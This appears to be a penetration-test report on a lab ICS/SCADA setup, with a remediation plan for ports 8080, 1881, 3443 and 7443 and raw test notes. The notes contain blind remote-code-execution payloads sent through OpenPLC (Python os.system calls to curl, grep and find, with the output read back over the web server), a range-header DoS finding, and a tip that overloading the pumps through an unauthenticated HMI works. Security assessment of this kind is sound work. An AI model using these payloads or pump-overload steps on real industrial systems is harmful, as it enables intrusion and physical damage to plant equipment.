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If we had more time to research and create a SYN flood script, there is a possibility of crashing 
the server. ​
​
Conclusion: Both ports use the same backend which is nginx, both ports also have a root 
vulnerability and a CVE of “CVE-2011-3192. Which are vulnerable to Denial of Service.  

After the stress testing, we were able to see a slowdown on port 3443 which proves that for port 
7443 the same result. ​
​
With more research and time, we would've found or created a flood script to maximize damage 
and slow down mitigation after shutting the pumps from port 1881.  

Port 7443 and 3443 are unsafe in production ICS environments.  

​
 

 

 

​
​
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Remediation Summary 
 
Port 8080  
 

Short Term 

●​ Change the password for the default openplc account from the “openplc” to a complex 
password to prevent default credentials from being used.  

●​ Update the OpenPLC web server software to the latest version to patch 
CVE-2021-31630. 

●​ Implement Access Control Lists to limit access to this port allowing only IPs belonging to 
authorized users such as management. 

Medium Term 

●​ In order to prevent automatic access within the internal network, move the host 
(10.50.0.35) to a segregated Operational Technology VLAN. 

Long Term 

●​ Establish a schedule for regularly scanning and patching ICS/SCADA equipment to 
ensure that software keeps up with latest updates. 

●​ Conduct regular penetration tests specifically targeting OT infrastructure. 

 
 
Port 1881 
 

Short Term 

●​ Immediately restrict access to port 1881 an Access Control List and only allow 
authorized users to access the interface. 

Medium Term 

●​ When a user passes authentication, make sure that only specific, privileged user roles 
can modify pump states or flow rates, while others have read-only access. 

●​ Implement a reverse proxy (such as Nginx or Apache) in front of Port 1881 to enforce 
strict user authentication since the native application does not require credentials, 
meaning anyone has access. 
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Long Term 

●​ Make sure that sessions are monitored, such that in the case of suspicious command 
entry such as “killall openplc”, it will be flagged and denied. 

●​ Enforce user identity verification, incorporating MFA and posture checking (ensuring 
user’s device meets security requirements such as up-to-date OS) user devices. 

 
 
Port 7443 and 3443 

Short Term 
●​ Since we found out that range header in nginx is alterable, disabling or restricting HTTP 

range header will prevent future DoS attacks. 
●​ Applying constant configuration patches and updates, that can mitigate vulnerability of 

CVE-2011-3192 for all nginx modules especially in port 7443 and 3443. 
●​ Implementing authentication, and firewall so that only authorized personnel or IPs can 

reach into these highly vulnerable ports. 
●​ Employee awareness training and constant monitoring will prevent repeated range 

header abuse to the endpoints. 

Medium Term 
●​ Reconfiguring the nginx to return proper error message, without authentication anyone 

can access this vulnerability, so after restricting or disabling the range header, if anyone 
tries to access the range, it should return a secure response of 400 or 416.  

●​ Due to the correlation between IT and OT traffic, segregating them will not be accessed 
or exposed outside of OT side.  

●​ Disabling unnecessary services on high ports like 7443 and 3443 that are not required 
for production OT operation.  













 

Screenshots/Work 



























 

 

Port 2443 is the logging system for port 8080 

Port 1881 is SCADA, ties in with port 8080 in controlling pumps 

Port 3443 looks like we can play with pen testing tools within the IP address 

Port 4443 - we can upload files 

Port 5443 - firewall 

Port 6443: firewall logs 

Port 7443 - same as port 3443 

Port 8000 - page not found 

Port 8080 - Open PLC (I’ve worked on this one) 

Port 5911 - web server 

 

Port 4443 testing: 

Attempt to grab headers/information via port 8080 blind RCE: 

import os; os.system("curl -sk -I 'https://10.50.0.35:4443/' > 
/workdir/webserver/static/port4443_recon.txt"); os.system("curl -sk 'https://10.50.0.35:4443/' >> 
/workdir/webserver/static/port4443_recon.txt"); 

Curl: curl http://10.50.0.35:8080/static/port4443_recon.txt - did not return anything 

Searched for config files for 4443:  

import os; os.system("grep -r -l '4443' /workdir /etc 2>/dev/null > 
/workdir/webserver/static/port4443_config_files.txt"); 

Curl: curl http://10.50.0.35:8080/static/port4443_config_files.txt 

​ Results: /workdir/webserver/core/psm/main.py 

/workdir/utils/matiec_src/stage1_2/iec_bison.cc 

/workdir/utils/matiec_src/stage1_2/iec_flex.cc 

/workdir/.venv/lib/python3.11/site-packages/setuptools-66.1.1.dist-info/RECORD 

/workdir/.venv/lib/python3.11/site-packages/setuptools/_distutils/command/__pycache__/bdist_r
pm.cpython-311.pyc 



 

/workdir/.venv/lib/python3.11/site-packages/setuptools/_distutils/command/bdist_rpm.py  

Only the 1st option is useful. 

Broaden Search for config files:  

import os; os.system("find / -name '*.conf' -o -name '*.cfg' -o -name 'nginx.conf' -o -name 
'httpd.conf' 2>/dev/null > /workdir/webserver/static/global_config_files.txt"); 

Curl: curl http://10.50.0.35:8080/static/global_config_files.txt 

​ Results: /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.d/gconv-modules-extra.conf 

/usr/lib/tmpfiles.d/passwd.conf 

/usr/lib/binfmt.d/python3.11.conf 

/usr/lib/sysctl.d/99-protect-links.conf 

/usr/share/doc/adduser/examples/adduser.conf 

/usr/share/doc/adduser/examples/deluser.conf 

/usr/share/doc/adduser/examples/adduser.local.conf 

/usr/share/doc/apt/examples/apt.conf 

/usr/share/doc/procps/examples/sysctl.conf 

/usr/share/doc/gnupg/examples/gpgconf.conf 

/usr/share/doc/gpgconf/examples/gpgconf.conf 

/usr/share/libc-bin/nsswitch.conf 

/usr/share/debconf/debconf.conf 

/usr/share/autoconf/autom4te.cfg 

/usr/share/fontconfig/conf.avail/45-latin.conf 

/usr/share/fontconfig/conf.avail/45-generic.conf 

/usr/share/fontconfig/conf.avail/65-fonts-persian.conf 

/usr/share/fontconfig/conf.avail/10-hinting-none.conf 

/usr/share/fontconfig/conf.avail/10-scale-bitmap-fonts.conf 

/usr/share/fontconfig/conf.avail/49-sansserif.conf 

/usr/share/fontconfig/conf.avail/20-unhint-small-vera.conf 



 

/usr/share/fontconfig/conf.avail/11-lcdfilter-default.conf 

/usr/share/fontconfig/conf.avail/10-unhinted.conf 

/usr/share/fontconfig/conf.avail/25-unhint-nonlatin.conf 

/usr/share/fontconfig/conf.avail/10-sub-pixel-bgr.conf 

/usr/share/fontconfig/conf.avail/70-force-bitmaps.conf 

/usr/share/fontconfig/conf.avail/10-autohint.conf 

/usr/share/fontconfig/conf.avail/51-local.conf 

/usr/share/fontconfig/conf.avail/90-synthetic.conf 

/usr/share/fontconfig/conf.avail/10-hinting-slight.conf 

/usr/share/fontconfig/conf.avail/48-spacing.conf 

/usr/share/fontconfig/conf.avail/10-sub-pixel-vbgr.conf 

/usr/share/fontconfig/conf.avail/05-reset-dirs-sample.conf 

/usr/share/fontconfig/conf.avail/30-metric-aliases.conf 

/usr/share/fontconfig/conf.avail/10-no-sub-pixel.conf 

/usr/share/fontconfig/conf.avail/35-lang-normalize.conf 

/usr/share/fontconfig/conf.avail/09-autohint-if-no-hinting.conf 

/usr/share/fontconfig/conf.avail/60-generic.conf 

/usr/share/fontconfig/conf.avail/10-hinting-medium.conf 

/usr/share/fontconfig/conf.avail/50-user.conf 

/usr/share/fontconfig/conf.avail/60-latin.conf 

/usr/share/fontconfig/conf.avail/10-sub-pixel-vrgb.conf 

/usr/share/fontconfig/conf.avail/11-lcdfilter-light.conf 

/usr/share/fontconfig/conf.avail/10-hinting-full.conf 

/usr/share/fontconfig/conf.avail/70-yes-bitmaps.conf 

/usr/share/fontconfig/conf.avail/65-khmer.conf 

/usr/share/fontconfig/conf.avail/65-nonlatin.conf 



 

/usr/share/fontconfig/conf.avail/10-sub-pixel-rgb.conf 

/usr/share/fontconfig/conf.avail/10-no-antialias.conf 

/usr/share/fontconfig/conf.avail/69-unifont.conf 

/usr/share/fontconfig/conf.avail/70-no-bitmaps.conf 

/usr/share/fontconfig/conf.avail/11-lcdfilter-legacy.conf 

/usr/share/fontconfig/conf.avail/40-nonlatin.conf 

/usr/share/fontconfig/conf.avail/10-yes-antialias.conf 

/usr/share/fontconfig/conf.avail/80-delicious.conf 

/etc/resolv.conf 

/etc/debconf.conf 

/etc/mke2fs.conf 

/etc/ld.so.conf.d/libc.conf 

/etc/ld.so.conf.d/x86_64-linux-gnu.conf 

/etc/ld.so.conf.d/fakeroot-x86_64-linux-gnu.conf 

/etc/nsswitch.conf 

/etc/e2scrub.conf 

/etc/security/time.conf 

/etc/security/faillock.conf 

/etc/security/namespace.conf 

/etc/security/limits.conf 

/etc/security/pam_env.conf 

/etc/security/sepermit.conf 

/etc/security/access.conf 

/etc/security/group.conf 

/etc/security/capability.conf 

/etc/dpkg/dpkg.cfg 



 

/etc/adduser.conf 

/etc/gai.conf 

/etc/host.conf 

/etc/pam.conf 

/etc/xattr.conf 

/etc/ld.so.conf 

/etc/libaudit.conf 

/etc/deluser.conf 

/etc/selinux/semanage.conf 

/etc/perl/Net/libnet.cfg 

/etc/fonts/fonts.conf 

/etc/fonts/conf.d/20-unhint-small-dejavu-lgc-sans-mono.conf 

/etc/fonts/conf.d/45-latin.conf 

/etc/fonts/conf.d/45-generic.conf 

/etc/fonts/conf.d/65-fonts-persian.conf 

/etc/fonts/conf.d/10-scale-bitmap-fonts.conf 

/etc/fonts/conf.d/49-sansserif.conf 

/etc/fonts/conf.d/20-unhint-small-vera.conf 

/etc/fonts/conf.d/57-dejavu-sans.conf 

/etc/fonts/conf.d/11-lcdfilter-default.conf 

/etc/fonts/conf.d/58-dejavu-lgc-sans-mono.conf 

/etc/fonts/conf.d/20-unhint-small-dejavu-lgc-sans.conf 

/etc/fonts/conf.d/51-local.conf 

/etc/fonts/conf.d/90-synthetic.conf 

/etc/fonts/conf.d/20-unhint-small-dejavu-lgc-serif.conf 

/etc/fonts/conf.d/10-hinting-slight.conf 



 

/etc/fonts/conf.d/57-dejavu-sans-mono.conf 

/etc/fonts/conf.d/58-dejavu-lgc-serif.conf 

/etc/fonts/conf.d/20-unhint-small-dejavu-sans.conf 

/etc/fonts/conf.d/57-dejavu-serif.conf 

/etc/fonts/conf.d/48-spacing.conf 

/etc/fonts/conf.d/58-dejavu-lgc-sans.conf 

/etc/fonts/conf.d/30-metric-aliases.conf 

/etc/fonts/conf.d/20-unhint-small-dejavu-serif.conf 

/etc/fonts/conf.d/20-unhint-small-dejavu-sans-mono.conf 

/etc/fonts/conf.d/60-generic.conf 

/etc/fonts/conf.d/50-user.conf 

/etc/fonts/conf.d/60-latin.conf 

/etc/fonts/conf.d/65-nonlatin.conf 

/etc/fonts/conf.d/69-unifont.conf 

/etc/fonts/conf.d/70-no-bitmaps.conf 

/etc/fonts/conf.d/40-nonlatin.conf 

/etc/fonts/conf.d/10-yes-antialias.conf 

/etc/fonts/conf.d/80-delicious.conf 

/etc/fonts/conf.avail/20-unhint-small-dejavu-lgc-sans-mono.conf 

/etc/fonts/conf.avail/57-dejavu-sans.conf 

/etc/fonts/conf.avail/58-dejavu-lgc-sans-mono.conf 

/etc/fonts/conf.avail/20-unhint-small-dejavu-lgc-sans.conf 

/etc/fonts/conf.avail/20-unhint-small-dejavu-lgc-serif.conf 

/etc/fonts/conf.avail/57-dejavu-sans-mono.conf 

/etc/fonts/conf.avail/58-dejavu-lgc-serif.conf 

/etc/fonts/conf.avail/20-unhint-small-dejavu-sans.conf 



 

/etc/fonts/conf.avail/57-dejavu-serif.conf 

/etc/fonts/conf.avail/58-dejavu-lgc-sans.conf 

/etc/fonts/conf.avail/20-unhint-small-dejavu-serif.conf 

/etc/fonts/conf.avail/20-unhint-small-dejavu-sans-mono.conf 

/etc/sysctl.conf 

/etc/ca-certificates.conf 

/etc/ldap/ldap.conf 

/workdir/webserver/core/dnp3.cfg 

/workdir/webserver/dnp3.cfg 

/workdir/utils/dnp3_src/config/astyle.cfg 

/workdir/utils/libmodbus_src/doc/asciidoc.conf 

/workdir/.venv/pyvenv.cfg 

/workdir/doxygen.conf 

/docker_persistent/mbconfig.cfg 

NOT USEFUL - tried other things but didn’t find anything useful either. Moved to port 1881. 

 

Port 1881 testing 

Grab the HTTP headers: import os; os.system("curl -sk -I 'http://10.50.0.35:1881/' > 
/workdir/webserver/static/port1881_headers.txt"); os.system("curl -sk 'http://10.50.0.35:1881/' >> 
/workdir/webserver/static/port1881_headers.txt"); 

Curl: curl http://10.50.0.35:8080/static/port1881_headers.txt 

​ Result: Feature​ Value​                        Significance 

                       Server​     X-Powered-By: Express​ Node.js web server. 

                       Title​     Labshock SCADA​             Confirms the application name. 

                        Core Libs​ svg-editor.min.css, fuxa-editor.min.js​     Uses an editor component 
commonly seen in Web HMI (Human Machine Interface) applications. 

                        Signature​ powered by <span><b>frango</b>team</span>​ This is a 
highly specific signature for the running application. 



 

CVE FOUND: CVE-2023-33831: which specifically targets the Fuxa HMI and allows for 
Unauthenticated Remote Code Execution. The exploit targets the /api/runscript endpoint. 

****You really don’t need to run any exploits. The Fuxa SCADA HMI is configured for 
Unauthenticated Access. The security is based entirely on the assumption that if someone can 
reach the system, they are authorized. This is a severe vulnerability, and it means the SCADA 
system is fully compromised without needing a RCE for a password reset. You can overload the 
system by turning on both pumps and sliding the sliders all the way to the right.**** 

 

 

 

 

 

 

 

 

 















 

  

  

  

 



 

Port 8080/1881 


























